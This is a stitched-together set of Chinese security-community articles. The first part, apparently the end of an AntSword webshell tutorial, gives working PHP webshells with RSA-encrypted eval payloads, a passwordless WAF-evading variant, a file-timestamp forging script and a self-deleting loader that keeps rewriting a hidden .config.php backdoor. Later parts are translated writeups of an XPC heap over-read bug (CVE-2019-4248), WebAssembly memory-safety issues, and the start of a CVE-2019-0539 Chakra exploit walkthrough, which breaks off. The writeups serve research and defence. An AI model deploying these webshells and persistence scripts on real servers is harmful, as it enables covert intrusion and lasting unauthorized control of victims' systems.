return `function asenc($out){
$key=${key};
$iv=$key;
return @base64_encode(openssl_encrypt(base64_encode($out), "AES-256-CFB", $key,OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING, $iv));
}
`.replace(/\n\s+/g, '');
},
/**
* 解码字符串
* @param {string} data 要被解码的字符串
* @returns {string} 解码后的字符串
*/
decode_str: (data, ext={}) => {
if(data.length === 0) {
return data;
}
let ret = decryptText(key, data);
return Buffer.from(ret, 'base64').toString();
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
if(data.length === 0) {
return data;
}
return Buffer.from(decryptText(key, Buffer.from(data).toString()), 'base64');
}
}
### 0x5.1 加密其他参数
/**
* php::RSA编码器
* Create at: 2019/11/04 11:04:42
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();};${data['_']}`;
let n = Math.ceil(data['_'].length / 80);
let l = Math.ceil(data['_'].length / n);
let r = []
for (var i = 0; n > i; i++) {
r.push(ext['rsa'].encryptPrivate(data['_'].substr(i * l, l), 'base64'));
}
data[pwd] = r.join("|");
delete data['_'];
return data;
}
这是我们的rsa编码器,我们稍微修改下,可以去加密其他参数。
/**
* php::RSA编码器
* Create at: 2019/11/04 11:04:42
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
let ret = {};
for (let _ in data) {
if (_ === '_') { continue };
ret[_] = ext['rsa'].encryptPrivate(data[_], 'base64')
}
data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();};${data['_']}`;
let n = Math.ceil(data['_'].length / 80);
let l = Math.ceil(data['_'].length / n);
let r = []
for (var i = 0; n > i; i++) {
r.push(ext['rsa'].encryptPrivate(data['_'].substr(i * l, l), 'base64'));
}
ret[pwd] = r.join("|");
delete data['_'];
return ret;
}
对应的shell脚本:
<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCC9BPAAA3EgNhVX9x5kjXwwbrA
AJSSl46CsjcloOjytsQZoR/Tn0QxI/sCaHJ23/DLviDbhZbYh3aJjXDLrGJXnQvx
BUj1a/YZDq/ZqlibffV54ljOhh6A/IIk6KmXXZBETA9GxI32vqDfqvbnuzyZMWvT
ShEmTzwYh4qW53cN+wIDAQAB
-----END PUBLIC KEY----- EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
foreach($_POST as $k => $v){
if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
$_POST[$k]=$de;
}
}
eval($cmd);
## 0x6 无特征无参数免杀处理
如果不改动,这个shell肯定会被杀的
这个免杀思路其实很多。 最近`t00ls`看到一个很有趣的点,简直和rsa是天配。
下面是我修改的shell(至于原理自己琢磨下)
<?php
$pk = <<<EOF
-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCC9BPAAA3EgNhVX9x5kjXwwbrA
AJSSl46CsjcloOjytsQZoR/Tn0QxI/sCaHJ23/DLviDbhZbYh3aJjXDLrGJXnQvx
BUj1a/YZDq/ZqlibffV54ljOhh6A/IIk6KmXXZBETA9GxI32vqDfqvbnuzyZMWvT
ShEmTzwYh4qW53cN+wIDAQAB
-----END PUBLIC KEY----- EOF;
$cmds = explode("|", reset(get_defined_vars()[@_POST]));
$pk = openssl_pkey_get_public($pk);
$cmd = "";
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
eval($cmd);
这个shell是无密码的,所以绕过了很多waf回溯参数的规则,至于怎么跟上面结合起来用,其实也很简单,也能更加精简代码，欢迎师傅们找我一起交流。
## 0x7 自动化隐蔽后门实现
这里我只是说下自己比较常用的一些点,我比较喜欢修改文件时间,然后写个比较常规的名字,然后用隐藏文件。
### 0x7.1 修改文件时间代码
<?php
// var_dump());
try {
$file = scandir($_SERVER['DOCUMENT_ROOT']);
foreach ($file as $name) {
if(@filectime($name)){
//change time
var_dump(filectime($name));
var_dump($name);
var_dump(@filectime(__FILE__));
touch(__FILE__,filectime($name));
touch($name,@filectime(__FILE__));
var_dump(@filectime(__FILE__));
break;
}
}
} catch (Exception $e) {
echo "config is wrong!";
}
### 0x7.2 利用内存木马自动部署
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
$shell = '<?php
$pk = <<<EOF
-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCC9BPAAA3EgNhVX9x5kjXwwbrA
AJSSl46CsjcloOjytsQZoR/Tn0QxI/sCaHJ23/DLviDbhZbYh3aJjXDLrGJXnQvx
BUj1a/YZDq/ZqlibffV54ljOhh6A/IIk6KmXXZBETA9GxI32vqDfqvbnuzyZMWvT
ShEmTzwYh4qW53cN+wIDAQAB
-----END PUBLIC KEY----- EOF;
$cmds = explode("|", reset(get_defined_vars()[@_POST]));
$pk = openssl_pkey_get_public($pk);
$cmd = "";
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
eval($cmd);';
while(1){
if(file_exists(".config.php")){
try {
system('chmod 777 .config.php');
$file = scandir($_SERVER['DOCUMENT_ROOT']);
foreach ($file as $name) {
if(@filectime($name)){
touch(".config.php", @filectime($name));
break;
}
}
} catch (Exception $e) {
echo "config is wrong!";
}
}else{
//sleep some time
sleep(3600*60);
file_put_contents('.config.php',$shell);
}
}
## 0x8 一些小想法
上面那些点其实大部分都是别人的东西，我只不过集合起来，然后抛砖引玉罢了。
关于后门这块，我之前有研究过关于底层的一些想法，但是真实环境其实更多是低权限下通过shell来维持，欢迎师傅们找我一起交流关于红队攻防或者后门或者攻击自动化的一些想法。
TODO 附上自己一直在写关于红队建设文章的目录:
## 0x9 参考链接
[WAF拦了蚁剑发送的其它参数时怎么操作](https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&mid=2247483895&idx=1&sn=1609e6c4df7ce585e2ed9a3e38f29051&chksm=e91c5a0fde6bd319168b9e3d564b6fbbb26be208c1c8a26a9995baf0fc4d8e34df2c703fed81&mpshare=1&scene=23&srcid&sharer_sharetime=1572778179592&sharer_shareid=3bdf1b0c76d4c1691e700c57f87d9c0a%23rd)
[蚁剑绕WAF进化图鉴](https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&mid=2247483852&idx=1&sn=3cd3f667523550d414fad97231eeeaea&chksm=e91c5a34de6bd3223f5c3e69aa12311be39d4c13ee8d222ddb81f97070c74698dc7ae7fcecba&mpshare=1&scene=23&srcid&sharer_sharetime=1572778022447&sharer_shareid=3bdf1b0c76d4c1691e700c57f87d9c0a%23rd)
[关于对antSword(蚁剑)进行流量混淆处理的解决方案](https://xz.aliyun.com/t/5756)
[蚁剑实现动态秘钥编码器解码器](https://xz.aliyun.com/t/6571)
[从0到1掌握AWD攻防之RSA必杀](https://xz.aliyun.com/t/4640)
[蚁剑客户端RCE挖掘过程及源码分析 ](https://evoa.me/index.php/archives/48/) | 社区文章 |
# 使用XPC字符串读取进程内存
|
##### 译文声明
本文是翻译文章，文章原作者 Brandon Azad，文章来源：bazad.github.io
原文地址：<https://bazad.github.io/2018/07/xpc-string-leak/>
译文仅供参考，具体内容表达以及含义原文为准。
这是一篇关于我偶然发现的另一个bug的短文。在逆向libxpc时，我注意到XPC字符串反序列化并不检查反序列化的字符串是否实际上和序列化长度声明一样长：XPC字符串反序列化没有检查反序列化的字符串实际上是否与序列化长度声明一样长：它可能是短的。
也就是说，序列化的XPC消息可能声称该字符串是1000字节长，即使该字符串在索引100处包含空字节。生成的`OS_xpc_string`对象将认为其堆上的C字符串比实际长。
虽然直接利用这个漏洞来执行任意代码是很困难的，但是我们可以采取另一种方法。
在将字符串序列化为消息时，`OS_xpc_string`对象的长度字段是可信的，因此如果我们可以让XPC服务向我们发回它刚刚反序列化的字符串，它将从堆C-string缓冲区中重读并发送给我们 消息中的所有额外数据，为我们提供该进程堆内存的快照。生成的exploit primitive
类似于Heartbleed(心脏出血)漏洞如何用于从OpenSSL驱动的服务器内存中越界读取堆数据。
## (XP)C字符串和空字节
当我注意到字符串反序列化函数`_xpc_string_deserialize`的特性时，我实际上正在反汇编libxpc以便理解这个网络传输协议:
OS_xpc_string *__fastcall _xpc_string_deserialize(OS_xpc_serializer *xserializer)
{
OS_xpc_string *xstring; // rbx@1
char *string; // rax@4
char *contents; // [rsp+8h] [rbp-18h]@1
size_t size; // [rsp+10h] [rbp-10h]@1 MAPDST
xstring = 0LL;
contents = 0LL;
size = 0LL;
if ( _xpc_string_get_wire_value(xserializer, (const char **)&contents, &size) )
{
if ( contents[size - 1] || (string = _xpc_try_strdup(contents)) == 0LL )
{
xstring = 0LL;
}
else
{
xstring = _xpc_string_create(string, size - 1);
LOBYTE(xstring->flags) |= 1u;
}
}
return xstring;
}
如果你仔细观察，你会发现缺少了一个特别的检查。 函数`_xpc_string_get_wire_value` 似乎得到了一个指向字符串数据字节的指针
以及这个字符记录的长度，然后，代码在复制字符串并使用`_xpc_string_create`创建实际的`OS_xpc_string`对象之前，检查索引`size-1`的字节是否为空，并传递复制的字符串和让`size-1`。
对`contents[size - 1]`为NULL的检查确实确保序列化的字符串不大于`size`字节，但不确保字符串不小于`szie`字节：
在序列化的字符串数据中可能会有一个空字节
,这是有问题的，因为未经检查的大小值通过函数`_xpc_string_create`传播到结果的`OS_XPC_String`对象，从而导致堆上字符串对象的报告长度和实际长度之间的不一致。
## XPC消息反射利用
任何重要的漏洞都必须利用产生的XPC字符串对象的长度与其堆缓冲区的内容之间的不一致。
这意味着我们需要在一些XPC服务中查找代码，该服务使用length字段和string内容以一种有意义的方式。不幸的是，可能导致内存损坏的使用模式似乎不太可能;您需要编写一些非常复杂的代码，以使一个太短的字符串覆盖缓冲区：
pc_object_t string = xpc_dictionary_get_value(message, "key");
char buf[strlen(xpc_string_get_string_ptr(string))];
memcpy(buf, xpc_string_get_string_ptr(string), xpc_string_get_length(string));
果然，我找不到任何使用XPC字符串的iOS服务，这可能会导致内存损坏。
然而，仍然有另一种方法可以利用这个bug来完成有用的工作，这是通过利用`libxpc`自己在服务中的行为来反射XPC消息返回给客户端。
尽管libxpc的客户端没有以有意义的方式使用`OS_XPC_String`对象的`length`字段，但是`libxpc`库本身的某些部分是这样做的：
特别是，XPC字符串序列化代码在将字符串内容复制到XPC消息时确实信任存储的length字段。
这是`_xpc_string_serialize`:的反编译实现：
void __fastcall _xpc_string_serialize(OS_xpc_string *string, OS_xpc_serializer *serializer)
{
int type; // [rsp+8h] [rbp-18h]@1
int size; // [rsp+Ch] [rbp-14h]@1
type = *((_DWORD *)&OBJC_CLASS___OS_xpc_string + 10);
_xpc_serializer_append(serializer, &type, 4uLL, 1, 0, 0);
size = LODWORD(string->length) + 1;
_xpc_serializer_append(serializer, &size, 4uLL, 1, 0, 0);
_xpc_serializer_append(serializer, string->string, string->length + 1, 1, 0, 0);
}
在序列化字符串时，`OS_XPC_String`的`lenth`参数是可信的，这将导致大量字节从堆复制到序列化的消息中。
如果反序列化字符串比其记录的长度短，则消息将使用超出范围的堆数据填充。
攻击仍然仅限于将XPC消息的某些部分反映回客户端的XPC服务，但这种情况更为常见。
## 把diagnosticd作为目标
在macOS和iOS, diagnosticd 是一个有希望的攻击候选，不仅因为它unsandboxed（无沙盒防护） 、root
和`task_for_pid-allow`。Diagnosticd负责处理诊断消息（例如，os_log生成的消息）并将其流式传输给有权利接收这些消息的客户端。通过注册来接收我们自己的诊断流，然后发送带有比预期字符串短的诊断信息，我们可以获得诊断堆中一些数据的快照，这有助于在流程中获得代码执行。
我写了一个名为 [xpc-string-leak](https://github.com/bazad/xpc-string-leak)
的POC，它可以用来从diagnosticd 中对任意大小的越界堆内容进行采样。
利用流程相当简单
:我们注册了一个Mach端口，它可以从我们自己的进程接收一个诊断消息流，生成一个格式错误的过短的短字符串的诊断消息，然后侦听我们在前面注册的端口，以获取包含越界的诊断消息堆数据。
有趣的是，由于diagnosticd也从其他进程接收日志消息，因此越界的堆数据可能也包含来自其他进程的敏感信息。
因此，即使没有在诊断中实现代码执行，该bug也存在用户隐私的影响。
## 时间线
我在2018年初（1月或2月）发现了这个漏洞， 但在5月之前一直没想起研究。我在5月9日向苹果公司报告了这一问题
，并于7月9日将其指定为CVE-2018-4248，并在 [iOS 11.4.1](https://support.apple.com/en-us/HT208938) 和 [macOS 10.13.6](https://support.apple.com/en-us/HT208937)
中进行了修补。
审核人：yiwang 编辑：边边 | 社区文章 |
# WebAssembly的安全性问题--Part 1
原文地址:
<https://i.blackhat.com/us-18/Thu-August-9/us-18-Lukasiewicz-WebAssembly-A-New-World-of-Native_Exploits-On-The-Web-wp.pdf>
Translated by : Processor
Special thanks for : Swing , Anciety
## 前言
WebAssembly是一项新技术，允许Web开发人员在具有接近本机性能的网页上运行C/C++。本文提供了WebAssembly的基本介绍，并研究了开发人员使用它可能带来的安全风险。这里将介绍几个探究WebAssembly理论的安全问题的示例。我们还介绍了Emscripten，它是目前最受欢迎的Web-Assembly编译器工具链。我们对Emscripten的评估包括其编译器和链接器级漏洞利用缓解的实现，其libc实现的内在加固，以及WASM的增强如何引入新的攻击向量和利用方法。我们还提供了Wasm环境中内存破坏漏洞的示例。在某些情况下，这些漏洞可能导致控制流劫持，甚至在网页中执行任意JavaScript。最后，我们为希望将WebAssembly集成到其产品中的开发人员提供了最佳实践和安全注意事项的基本概述。
## 1\. 介绍
WebAssembly是由W3C社区组开发的一项新技术。WebAssembly允许开发人员将他们本机的C/C++代码带到浏览器，代码由最终用户以接近本机的性能运行。WebAssembly已经在所有主流浏览器的最新版本中得到广泛支持，目前正在许多基于Web的服务中被使用。值得注意的例子包括3D模型渲染，界面设计和可视化数据处理。
WebAssembly仍处于开发的早期阶段，开发人员很可能会在未来发现新的用法。
因此，安全研究人员和开发人员应该清楚地了解这种新技术的构建概念以及WebAssembly的安全隐患，毕竟本机代码通常与诸如Shellshock和Heartbleed，ROP链，格式字符串漏洞以及一长串漏洞，缓解措施以及用于规避这些缓解的技术等严重漏洞利用相关联。在我们脑子里浮现出0x90909090时，我们甚至可能会对在浏览器上进行原生利用的全新世界感到紧张(或者兴奋)。
我们的目标是提供WebAssembly的基本介绍，并简述开发人员使用它可能带来的实际安全风险。我们将介绍WebAssembly的低级语义，包括Javascript
API，线性内存模型以及将表用作函数指针，以及几个研究WebAssembly的理论安全的示例。还有Emscripten，它是目前最流行的WebAssembly编译器工具链。我们对Emscripten的评估将包括其编译器和链接器级漏洞利用缓解的实现以及其libc实现的内部加固，以及它如何增强WebAssembly引入新的攻击向量和利用方法。作为其中的一部分，我们还将提供WebAssembly环境中的内存损坏漏洞利用示例。在某些情况下，这些漏洞可能导致控制流劫持，甚至在网页中执行任意JavaScript。
我们将为希望将WebAssembly集成到其产品中的开发人员提供最佳实践和安全注意事项的基本概述。我们还将为Emscripten的研究制定长期目标，这可以缓解本文中讨论的许多漏洞以及未来的漏洞。最后，我们讨论未来的研究内容。
## 2\. WebAssemble 平台
### 2.1 简介
WebAssembly(Wasm)是一种机器语言(可能应该被命名为“WebBytecode”)，被设计在有限的虚拟机上运行(想想JVM，而不是VMware)。然后可以将此虚拟机嵌入到其他程序(尤其是浏览器)中。Wasm虚拟机与程序或系统的其他部分隔离，只能通过特殊枚举的导入和导出与其宿主程序进行通信。大多数程序不会由作者直接在Wasm中编写，甚至也不会以用户友好的文本格式编写。其目标是把其他语言编译成Wasm。Wasm已经相对完整，可以让用户从低级语言中获得的许多功能。
### 2.2 功能
WebAssembly二进制文件是一系列操作代码(操作码)。在x86世界中，这些操作码由汇编代码表示，以便人们可以读取和理解它们。在WebAssembly世界中，这种人类可读的表示称为WebAssembly的文本格式。在文本格式中，WebAssembly代码由S表达式表示。通过使用官方的
WebAssembly Binary
Toolkit，可以将S表达式直接编译到WebAssembly中，反之亦然。其他文本表达式同样可行，但在本文的其余部分我们将坚持使用S表达式。
WebAssembly中的基本代码单元是模块(Module)。WebAssembly的.Module对象包含无状态的WebAssembly代码，可以与Workers高效共享，在IndexedDB中缓存并多次实例化。WebAssembly二进制文件通常具有扩展名.wasm，由浏览器提取并编译到模块中。WebAssembly
JavaScript API使用JavaScript函数包装导出的WebAssembly代码，可以像任何其他JavaScript函数一样调用这些函数。
我们来看看WebAssembly中的一个函数。
(module
(func $add (param $x i32) (param $y i32) (result i32)
get_local $x
get_local $y
i32.add
)
(export "add" (func $add))
)
WebAssembly最简单的形式是堆栈机器。它的所有算术运算都是通过从堆栈顶部弹出值，对它们执行某些操作，并将结果推送到堆栈顶部来完成的。当函数超出范围时，函数的返回值是堆栈顶部的任何值。
WebAssembly中定义的函数是可以导出的，并且在编译和实例化WebAssembly模块之后，可以通过JavaScript引用和调用导出的函数。上面的模块声明了一个函数，它接受两个参数，将它们加在一起，然后返回结果。
然后使用名称“add”导出此函数。
现在我们已经导出了WebAssembly函数，我们需要将它编译成二进制文件，并将其加载到JavaScript可使用的模块中。可以通过命令行应用程序wat2wasm，从WebAssembly
Binary Toolkit创建.wasm文件。然后使用以下函数来获取文件并返回一个实例。实例是模块的单个运行副本。
function fetchAndInstantiate("/add.wasm", importObject) {
return fetch(url).then(response => response.arrayBuffer()
).then(bytes =>
WebAssembly.instantiate(bytes, importObject)
).then(results =>
results.instance
);
}
### 2.3 线性寄存器模型
在WebAssembly的低级内存模型中，内存表示为一个连续的无类型字节范围，称为线性内存。可以通过WebAssembly的.Memory方法或WebAssembly通过JavaScript分配此内存。分配的内存量由开发人员决定，最小内存单位为页面(64
KB)。内存也动态的，因此可以根据需要通过memory的.grow方法进行扩展。
**Figure 1** : WASM指令通过索引来访问线性存储器和函数(来自函数表)。
线性内存的真实地址及其中的数据对WebAssembly是隐藏的。
换句话说，WebAssembly无法直接访问内存的内容。WebAssembly将在线性内存的索引处请求数据，浏览器负责确定实际地址。这是WebAssembly比C/C++等本地代码更安全的部分原因。就WebAssembly而言，浏览器上下文中的真实地址不存在。WebAssemly可以访问的唯一内存是线性内存缓冲区，任何访问它外部内存的操作都只会导致JavaScript内存超出的错误。但是，这并不意味着我们将无法使用编译的WebAssembly做一些有趣的事情！
### 2.4 WebAssembly中的函数指针
如上所述，WebAssembly中的所有函数都存在于WebAssembly内存之外的内存地址中。因此，拥有C/C++样式函数指针是不可能的;
但是，WebAssembly开发人员为编译器创建一种方法来实现与函数指针功能相似的功能。WebAssembly表是一个位于WebAssembly内存之外的数组。此数组中的值是对函数的引用。在内部，这些引用包含内存地址，但由于它不在WebAssembly的内存中，因此WebAssembly无法看到这些地址。但是，它确实可以访问数组索引。
call_indirect指令用于调用函数表中的函数，它将32位整数作为参数。该整数是函数表的索引。与线性存储器一样，函数表的索引通常从0开始，无论需要多少函数指针，函数表都会建立相应的索引。然后浏览器将调用指定索引引用的函数。
**Figure 2** : call_indirect从堆栈上弹出一个用于加载浏览器调用的函数的函数表索引。
## 3\. Emscripten和实际漏洞利用场景
在这里，我们将深入介绍将本地C/C++代码转换为WASM字节码的过程，讨论Emscripten与本机编译器行为的比较，介绍当前使用的编译器级别漏洞利用缓解措施(如果有)及其有效性。我们将提供实际示例，演示如何在WebAssembly的上下文中利用不安全的本机代码。除非另有说明，否则所有示例均使用emsdk中的Emscripten
1.38.6。
### 3.1 流程概述
WebAssembly与x86程序集一样，提供了一个编译器可以构建的框架。构成WebAssembly的低级指令很少会被实际的Web开发人员看到。但是，开发人员会使用Emscripten编译C/C++代码，以便可以在其网页上运行。
Emscripten是一个开源的从LLVM到JavaScript的编译器。默认情况下，Emscripten生成.wasm文件和Javascript文件。Javascript文件设置执行.wasm文件中的指令所需的内存，导入和基础代码。C/C++编写的函数通过命令行参数导出，并且可以通过JavaScript调用导出的函数。Emscripten还提供了一个API，它由一系列函数组成，开发人员可以使用这些函数从C/C++代码中调用Javascript函数。这些函数通过emscripten.h库导入，并硬编码到每个编译的.wasm二进制文件中。正如我们将在后面的章节中所示，这些功能有可能被攻击者利用。
### 3.2 编译器/库级利用缓解
许多本地编译器实现了可以缓解常见漏洞的默认安全功能。其中许多漏洞不会直接转换为WebAssembly。但是，通过研究如何实现这些功能，我们可以深入了解Emscripten的优势和局限性(从安全角度来看)。
* **地址空间布局随机化(ASLR)** : 线性寄存器的索引不仅在执行时保持不变，而且在编译时也保持不变。 ASLR在当前的线性寄存器模型上的实现将是非常困难的。Emscripten的API位于emscripten.h中，它还向开发人员公开了几个函数。这些函数由函数表中的索引引用。这些索引与线性寄存器的索引不同，也不能随机化。
* **Stack Canaries** : 由于线性寄存器与真实指令地址分开，因此线性寄存器的边界不需要Canary保护。尝试访问分配的内存之外的索引将导致JavaScript内存超出界限错误。
* **堆加固(Heap Hardening)** : 堆加固技术是用来缓解缓冲区溢出到元数据时可能导致的对free()之类的需要用到元数据的函数的操纵，从而造成任意写。常见的加固方法包括不可预测的分配以及对元数据的检验，例如链表指针以及块长度等。emscripten包含了经过稍微修改的（这样就可以不需要syscall来运行）的dlmalloc实现，来完成基本的unlink()，具有完全可以确定的分配位置以及没有包含任何真正的不基于assert的验证机制
* **数据不可执行(DEP)** : 由于WebAssembly无法访问浏览器执行的低级指令，因此不需要DEP。
* **针对不安全功能的警告** : 测试表明无法在WebAssembly中编译已弃用的函数。Emscripten只会编译在C99中有效的函数。
* **Control Flow Integrity(CFI)** : 可以提供CFI检查的编译器可以保护被编译为WASM的代码。
### 3.3 可能出现的漏洞
凭借WebAssembly如何在较低级别工作的扎实基础知识，我们可以了解本地漏洞如何转换为网页。Web应用程序提供不同的攻击向量，针对攻击者的不同目标以及不同的用例。因此，许多经典的攻击是不能实现的。随着Web开发环境的不断变化，可能会引入新的漏洞利用链。本部分的目标是研究攻击者可能利用的一些漏洞。
#### 3.3.1 整数溢出(Integer Overflows/underflows)
在WebAssembly中，有四种数据类型:
* i32: 32-bit integer
* i64: 64-bit integer
* f32: 32-bit floating point
* f64: 64-bit floating point
与C/C++一样，这些类型中的每一种都具有不同的属性，应该在特定情况下使用。Javascript不知道这些东西是什么。Javascript是一种高级，动态，弱类型和解释的编程语言，因此它能做的最好的事情就是将一个数字传递给WebAssembly代码。
JavaScript的数字可以时-2^53和2^53之间的任何值。32位整数可以取-2^31和2^31之间的任何值。在WebAssembly中，i32和i64整数本身不是有符号或无符号的，因此这些类型的解释由各个运算符决定。当算术运算尝试创建一个超出可以用给定位数表示的范围的数值时，结果是整数溢出。但是，更可能的情况是利用整数溢出来利用缓冲区溢出。
我们将在后面的部分中介绍WebAssembly中缓冲区溢出的后果。
#### 3.3.2 格式化字符串(Format String attacks)
默认情况下，Emscripten的printf将信息打印到JavaScript控制台，似乎只是用于调试目的。当攻击者在调用printf或族中的其他函数，例如sprintf()时，控制格式指定的字符串时，可能能够直接对内存进行读写。
以下示例和输出演示了此操作。
#include <stdio.h>
#include <stdlib.h>
#include <emscripten.h>
int main(int argc, const char *argv[])
{
char bof[] = "AAAA";
printf("%x.%x.%x.%x.%x.\n");
return 0;
}
运行结果为:
0.0.0.0.41414141.
存储在线性寄存器中的bof将打印到控制台。Emscripten的printf支持％n格式类型，允许攻击者写入数据，而不仅仅是读取数据。但是，尝试通过利用格式化字符串漏洞写入线性内存会引发JavaScript异常。例如，以下的代码和生成的异常。
#include <stdio.h>
#include <stdlib.h>
#include <emscripten.h>
int main(int argc, const char *argv[])
{
char bof[] = "\x01";
printf("%x.%x.%x.%x.%n.\n");
return 0;
}
运行结果为:
uncaught exception: Runtime error: The application has corrupted its heap memory area (address zero)!
为了理解导致此错误的原因，必须对Emscripten的printf实现进行反向设计和调试。我们将此作为未来的研究方向。
#### 3.3.3 基于堆栈的缓冲区溢出(Stack Based Buffer Over ows)
如WebAssembly文档中所述，如果模块尝试写入分配的线性内存边界之外的内存，则将抛出内存越界的错误异常并终止执行。但是，没有机制可以保护覆盖存储在线性寄存器中的变量。因此，在某些情况下，诸如strcpy之类的不安全函数可能允许攻击者覆盖局部变量。我们可以在以下示例中研究这个想法：bof0
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <emscripten.h>
EM_JS(void,overflowAlert,(),{
alert("overflow");
});
int main()
{
char bof0[] = "abc";
char bof1[] = "123";
strcpy(bof1,"BBBBBBB");
if(strcmp(bof0,"abc"))
overflowAlert();
return 0;
}
编译指令:
emcc bof0.c -o bof0.html’ and run with ’emrun bof0.html
这是一个经典的缓冲区溢出。因为bof0和bof1是连续存储的，所以我们可以用不安全的函数(如strcpy)写入bof1和bof0的边界。然而，这本身就可能是危险的，正如我们将在以下各节中所表明的那样，因为局部变量会导致其他更严重的可利用漏洞。
## 小结
本篇文章介绍了一些基本概念和一些基本的利用方式，在Part 2 中，将会有一些WebAssembly独特的利用方式。 | 社区文章 |
原文地址：<https://perception-point.io/resources/research/cve-2019-0539-exploitation/>
## 引言
在上一篇[文章](https://perception-point.io/resources/research/cve-2019-0539-root-cause-analysis/
"文章")中，我们介绍了CVE-2019-0539漏洞的成因，在本文中，我们将为读者介绍如何实现完整的R/W（读/写）原语，以为实现RCE（远程执行代码）攻击打下基础。需要注意的是，Microsoft
Edge进程是运行在沙箱中的，因此，为了彻底拿下整个系统，需要借助其他漏洞来实现沙箱逃逸。
在这里，我们要特别感谢[Lokihardt](https://bugs.chromium.org/p/project-zero/issues/detail?id=1703&desc=2 "Lokihardt")和[Bruno
Keith](https://github.com/bkth/Attacking-Edge-Through-the-JavaScript-Compiler
"Bruno Keith")在这一领域的精彩研究，这些研究对于本文来说非常有价值。
## 漏洞利用
正如我们在成因分析中所看到的，该漏洞使我们能够覆盖javascript对象的slot数组指针。在BlueHat IL 2019大会上，Bruno
Keith[发表](https://www.youtube.com/watch?v=lBL4KGIybWE
"发表")了一篇精彩的[研究](https://github.com/bkth/Attacking-Edge-Through-the-JavaScript-Compiler "研究")，我们从中了解到，在Chakra中，javascript对象（o={a: 1, b:
2};）是通过Js::DynamicObject
类实现的，并且，它们可能具有不同的内存布局；同时，我们还了解到属性的slot数组指针称为auxSlots。从DynamicObject类的定义（位于lib\Runtime\Types\DynamicObject.h文件中）中，我们找到了Bruno讨论的DynamicObject的三种可能内存布局的实际规范：
// Memory layout of DynamicObject can be one of the following:
// (#1) (#2) (#3)
// +--------------+ +--------------+ +--------------+
// | vtable, etc. | | vtable, etc. | | vtable, etc. |
// |--------------| |--------------| |--------------|
// | auxSlots | | auxSlots | | inline slots |
// | union | | union | | |
// +--------------+ |--------------| | |
// | inline slots | | |
// +--------------+ +--------------+
// The allocation size of inline slots is variable and dependent on profile data for the
// object. The offset of the inline slots is managed by DynamicTypeHandler.
所以，一个对象可能只有一个auxSlots指针而没有内联slot(#1)，或者，也可能只有内联slot却没有auxSlots指针(#3)，或者两者都有(#2)。在CVE-2019-0539漏洞的[POC](https://bugs.chromium.org/p/project-zero/issues/detail?id=1703&desc=2
"POC")中，“o”对象是从(#3)内存布局表单开始其生命周期的。然后，当JIT代码最后一次调用OP_InitClass函数时，对象“o”的内存布局就地更改为(#1)。特别是，在JIT代码调用OP_InitClass函数之前和之后，“o”的内存布局如下所示：
之前: 之后:
+---------------+ +--------------+ +--->+--------------+
| vtable | | vtable | | | slot 1 | // o.a
+---------------+ +--------------+ | +--------------+
| type | | type | | | slot 2 | // o.b
+---------------+ +--------------+ | +--------------+
| inline slot 1 | // o.a | auxSlots +---+ | slot 3 |
+---------------+ +--------------+ +--------------+
| inline slot 2 | // o.b | objectArray | | slot 4 |
+---------------+ +--------------+ +--------------+
在调用OP_InitClass之前，o.a属性通常位于第一个内联slot中。调用后，它通常位于auxSlots指向的数组中，如slot1。因此，正如我们之前在成因分析中所解释的那样，JIT代码会尝试用0x1234来更新第一个内联slot中的o.a属性，但是，由于它不知道对象的内存布局已经发生了变化，因此，它实际上会覆盖auxSlots指针。
现在，为了利用这个漏洞来获得完整的R\W原语，如Bruno所言，我们需要破坏其他一些有用的对象，并通过这些对象来读\写内存中的任意地址。但是，我们首先需要更好地理解该漏洞能给我们带来了哪些好处。当我们覆盖DynamicObject的auxSlots指针时，我们可以像在auxSlots数组那样，来“对待”auxSlots中的内容。因此，如果我们可以使用该漏洞来设置auxSlots，使其指向JavaScriptArray对象，如下所示
some_array = [{}, 0, 1, 2];
...
opt(o, cons, some_array); // o->auxSlots = some_array
然后，我们可以通过将这些属性赋值为“o”来覆盖JavascriptArray对象“some_array”的内存。在使用该漏洞覆盖auxSlots后，内存状态如下所示：
o some_array
+--------------+ +--->+---------------------+
| vtable | | | vtable | // o.a
+--------------+ | +---------------------+
| type | | | type | // o.b
+--------------+ | +---------------------+
| auxSlots +---+ | auxSlots | // o.c?
+--------------+ +---------------------+
| objectArray | | objectArray | // o.d?
+--------------+ |- - - - - - - - - - -|
| arrayFlags |
| arrayCallSiteIndex |
+---------------------+
| length | // o.e??
+---------------------+
| head | // o.f??
+---------------------+
| segmentUnion | // o.g??
+---------------------+
| .... |
+---------------------+
因此，理论上说，如果我们想要覆盖数组的长度字段，我们可以执行o.e = 0xFFFFFFFF之类的赋值操作，然后，通过some_array
[1000]，就能根据数组的基地址访问一些远程地址。但是，这里面临几个问题：
